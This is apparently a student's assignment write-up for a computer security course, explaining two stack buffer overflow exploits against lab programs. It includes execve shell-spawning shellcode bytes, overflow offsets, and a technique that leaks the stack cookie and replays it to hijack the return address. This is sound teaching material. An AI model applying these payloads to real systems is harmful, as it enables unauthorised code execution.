Proactive Computer Security
Assignment 4

Nikolaj Dybdahl Rathcke (rfq695)

May 27, 2016

1 Parrot

The exploit can be seen by running

```
$ python doit_parrot.py
```

from the `src` folder. In the file `src/parrot.asm` is the commented disassembly. The vulnerable function is in `parse`. The way we can utilize this is because we can overwrite the return address and not the cookie because we change the offset we write from in the buffer. If we take a look at the stack in Figure 1:

Address	Stack
$ebp+0x8	Argument ptr
$ebp+0x4	Ret Address
$ebp-0xc	Cookie
$ebp-0x10	Counter
$ebp-0x38	Buffer start
$ebp-0x3c	Argument ptr
$ebp-0x4c	Argument ptr
$ebp-0x68	$esp

Figure 1: The stack in `parse` in the program `parrot`.

The problem is we can keep writing to the buffer and overwrite the counter itself (which is the offset from `$ebp`-0x38 when we fetch bytes from the arguments). If we look at the string which we give to parrot:

```
exploit  = "\x31\xC0"
exploit += "\x50"
exploit += "\x68\x2F\x2F\x73\x68"
exploit += "\x68\x2F\x62\x69\x6E"
exploit += "\x89\xE3"
exploit += "\x50"
exploit += "\x53"
exploit += "\x89\xE1"
exploit += "\x99"
exploit += "\xB0\x0B"
exploit += "\xCD\x80"
exploit += "A" * 16
```

```
exploit += "\x3B"
exploit += "A" * 19
exploit += "\xA6\x85\x04\x08"
```

The first many lines before "A" is the shellcode for getting a shell. These equal 24 bytes in total. The next 16 bytes we fill with A's to get to the address where the counter is. We can now overwrite this with $0x3c$, which will mean we write to the return address on the next iteration of the loop. We overwrite this with the address on the return call from `main` (the 19 A's are because it fetches from our argument with the same offset).
Now, we have not overwritten the cookie, so we survive the check to see if we had overwritten it. When we hit the return call in `parse`, we actually return from `main`. Since we skipped the `leave` call, the program simply runs the shellcode as nothing has been "cleaned" up. This is the shellcode we wrote to get a shell!

2 Cookiepirate

To see the exploit, run

```
$ python doit_cookiepirate.py
```

from the `src` folder. The commented disassembly can be found in `src/cookiepirate.asm`. This time the vulnerability is through `readline` (though we overwrite the return address in `main`). We are able to leak the cookie the first time we can give input and then use it the second time, where we use the same trick as before to open a shell. The stack frame in `readline` looks like it is seen here in Figure 2:

Address	Stack
$ebp+0x8	Argument ptr
$ebp+0x4	Ret Address
$ebp-0x4	Argument ptr
$ebp-0x5	Buffer (1 byte)
$ebp-0xc	Counter
$ebp-0x10	0x00
$ebp-0x14	0x1
$ebp-0x28	$esp

Figure 2: The stack in `readline` in the program `cookieparrot`.

This doesn't really say anything. This is because the stack for `main` is a little more interesting. Our input begins ends at `$ebp`-0x84 and we see that the cookie is stored in `$ebp`-0x4 (this is the `$ebp` in `main` and we make use of `strlen`). Writing "A" 129 times will overwrite the `NULL` byte in the cookie and leak the cookie itself. The reason the cookie is leaked is because it counts bytes until it gets to a `NULL` byte. This means that it actually says that we gave 132 bytes (it hits a `NULL` byte between the cookie and the return address). So when we get our own provided string back in `stdout`, we get an extra 3 bytes - the cookie. The received line is a little longer, but the cookie is found from 136 to 139. All this is achieved with this python code:

```
p.sendline("A" * 129)
res = p.recv()
print res
cookie = res[136:139]
```

After the `readline` returns, we can see that it writes to a global buffer located at 0x80487f0. Now, with the cookie, all we need to do is conjure up the correct line to send next time. It turns out that the following does the trick:

```
p.sendline("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3
            \x50\x53\x89\xE1\x99\xB0\x0B\xCD\x80" + "A" * 104 + "\x00" +
            cookie + "\x00" * 4 + "\x68\x9a\x04\x08")
```

What does it do though? The first 24 bytes is to spawn a shell like before. The next 104 A's are just to fill the buffer that has size 128. The next four bytes is the `NULL` byte from the cookie that we had overwritten along with the cookie itself, so we haven't changed it. We fill a little more (to get to `$ebpp`+0x4 and then finally we write the return address in `main`. In this case, the return address is the address to the global buffer plus 12. This is because `sprintf` writes "His name is " before our input. This is exactly 12 bytes and with a little math in hex we get $08049a5c + c = 08049a68$.
And just like that, when `main` returns, it returns to our shell spawning code!